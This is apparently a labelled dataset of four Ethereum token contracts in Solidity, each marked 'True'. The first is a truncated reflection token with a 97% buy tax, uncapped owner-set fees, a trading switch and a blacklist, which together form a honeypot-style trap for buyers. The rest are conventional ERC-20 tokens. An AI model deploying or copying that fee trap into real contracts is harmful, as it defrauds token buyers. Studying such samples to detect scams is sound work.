~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x4CdB8674716f7096B7bfdE75CB6f869B6Df0d94d); address payable private _marketingAddress = payable(0x4CdB8674716f7096B7bfdE75CB6f869B6Df0d94d); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }

True

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pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'GameBit' token contract // // Deployed to : 0x5A86f0cafD4ef3ba4f0344C138afcC84bd1ED222 // Symbol : GBT // Name : GameBit // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // (c) by GameBit. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract GameBit is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function GameBit() public { symbol = "GBT"; name = "GameBit"; decimals = 0; _totalSupply = 30000000; balances[0x27bbc5596cdb8c5b704dddf546a5b692921c9baa] = _totalSupply; Transfer(address(0), 0x27bbc5596cdb8c5b704dddf546a5b692921c9baa, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }

True

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pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error * https://github.com/OpenZeppelin/zeppelin-solidity/ */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function cei(uint256 a, uint256 b) internal pure returns (uint256) { return ((a + b - 1) / b) * b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 * https://github.com/OpenZeppelin/zeppelin-solidity/ */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 * https://github.com/OpenZeppelin/zeppelin-solidity/ */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. * https://github.com/OpenZeppelin/zeppelin-solidity/ */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * https://github.com/OpenZeppelin/zeppelin-solidity/ */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". * https://github.com/OpenZeppelin/zeppelin-solidity/ */ contract Ownable { address public owner; // Operational owner. address public masterOwner = 0x5D1EC7558C8D1c40406913ab5dbC0Abf1C96BA42; // for ownership transfer segregation of duty, hard coded to wallet account event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public { require(newOwner != address(0)); require(masterOwner == msg.sender); // only master owner can initiate change to ownershipe OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract FTXToken is StandardToken, Ownable { /* metadata */ string public constant NAME = "Fincoin"; string public constant SYMBOL = "FTX"; string public constant VERSION = "0.9"; uint8 public constant DECIMALS = 18; /* all accounts in wei */ uint256 public constant INITIAL_SUPPLY = 100000000 * 10**18; uint256 public constant FINTRUX_RESERVE_FTX = 10000000 * 10**18; uint256 public constant CROSS_RESERVE_FTX = 5000000 * 10**18; uint256 public constant TEAM_RESERVE_FTX = 10000000 * 10**18; // these three multi-sig addresses will be replaced on production: address public constant FINTRUX_RESERVE = 0x633348b01B3f59c8A445365FB2ede865ecc94a0B; address public constant CROSS_RESERVE = 0xED200B7BC7044290c99993341a82a21c4c7725DB; address public constant TEAM_RESERVE = 0xfc0Dd77c6bd889819E322FB72D4a86776b1632d5; // assuming Feb 28, 2018 5:00 PM UTC(1519837200) + 1 year, may change for production; uint256 public constant VESTING_DATE = 1519837200 + 1 years; // minimum FTX token to be transferred to make the gas worthwhile (avoid micro transfer), cannot be higher than minimal subscribed amount in crowd sale. uint256 public token4Gas = 1*10**18; // gas in wei to reimburse must be the lowest minimum 0.6Gwei * 80000 gas limit. uint256 public gas4Token = 80000*0.6*10**9; // minimum wei required in an account to perform an action (avg gas price 4Gwei * avg gas limit 80000). uint256 public minGas4Accts = 80000*4*10**9; bool public allowTransfers = false; mapping (address => bool) public transferException; event Withdraw(address indexed from, address indexed to, uint256 value); event GasRebateFailed(address indexed to, uint256 value); /** * @dev Contructor that gives msg.sender all existing tokens. */ function FTXToken(address _owner) public { require(_owner != address(0)); totalSupply = INITIAL_SUPPLY; balances[_owner] = INITIAL_SUPPLY - FINTRUX_RESERVE_FTX - CROSS_RESERVE_FTX - TEAM_RESERVE_FTX; balances[FINTRUX_RESERVE] = FINTRUX_RESERVE_FTX; balances[CROSS_RESERVE] = CROSS_RESERVE_FTX; balances[TEAM_RESERVE] = TEAM_RESERVE_FTX; owner = _owner; transferException[owner] = true; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(canTransferTokens()); // Team tokens lock 1 year require(_value > 0 && _value >= token4Gas); // do nothing if less than allowed minimum but do not fail balances[msg.sender] = balances[msg.sender].sub(_value); // insufficient token balance would revert here inside safemath balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); // Keep a minimum balance of gas in all sender accounts. It would not be executed if the account has enough ETH for next action. if (this.balance > gas4Token && msg.sender.balance < minGas4Accts) { // reimburse gas in ETH to keep a minimal balance for next transaction, use send instead of transfer thus ignore failed rebate(not enough ether to rebate etc.). if (!msg.sender.send(gas4Token)) { GasRebateFailed(msg.sender,gas4Token); } } return true; } /* When necessary, adjust minimum FTX to transfer to make the gas worthwhile */ function setToken4Gas(uint256 newFTXAmount) public onlyOwner { require(newFTXAmount > 0); // Upper bound is not necessary. token4Gas = newFTXAmount; } /* Only when necessary such as gas price change, adjust the gas to be reimbursed on every transfer when sender account below minimum */ function setGas4Token(uint256 newGasInWei) public onlyOwner { require(newGasInWei > 0 && newGasInWei <= 840000*10**9); // must be less than a reasonable gas value gas4Token = newGasInWei; } /* When necessary, adjust the minimum wei required in an account before an reimibusement of fee is triggerred */ function setMinGas4Accts(uint256 minBalanceInWei) public onlyOwner { require(minBalanceInWei > 0 && minBalanceInWei <= 840000*10**9); // must be less than a reasonable gas value minGas4Accts = minBalanceInWei; } /* This unnamed function is called whenever the owner send Ether to fund the gas fees and gas reimbursement */ function() payable public onlyOwner { } /* Owner withdrawal for excessive gas fees deposited */ function withdrawToOwner (uint256 weiAmt) public onlyOwner { require(weiAmt > 0); // do not allow zero transfer msg.sender.transfer(weiAmt); Withdraw(this, msg.sender, weiAmt); // signal the event for communication only it is meaningful } /* allow everyone to start transferring tokens freely at the same moment. */ function setAllowTransfers(bool bAllowTransfers) external onlyOwner { allowTransfers = bAllowTransfers; } /* add the ether address to whitelist to enable transfer of token. */ function addToException(address addr) external onlyOwner { require(addr != address(0)); require(!isException(addr)); transferException[addr] = true; } /* remove the ether address from whitelist in case a mistake was made. */ function delFrException(address addr) external onlyOwner { require(addr != address(0)); require(transferException[addr]); delete transferException[addr]; } /* return true when the address is in the exception list eg. token distribution contract and private sales addresses */ function isException(address addr) public view returns (bool) { return transferException[addr]; } /* below are internal functions */ /* return true if token can be transferred. */ function canTransferTokens() internal view returns (bool) { if (msg.sender == TEAM_RESERVE) { // Vesting for FintruX TEAM is 1 year. return now >= VESTING_DATE; } else { // if transfer is disabled, only allow special addresses to transfer tokens. return allowTransfers || isException(msg.sender); } } }

True

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/** *Submitted for verification at Etherscan.io on 2021-10-26 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'Niba Inu' contract // // Symbol : NIB // Name : Niba Inu // Total supply: 1 000 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract NIB is BurnableToken { string public constant name = "Niba Inu"; string public constant symbol = "NIB"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }

True

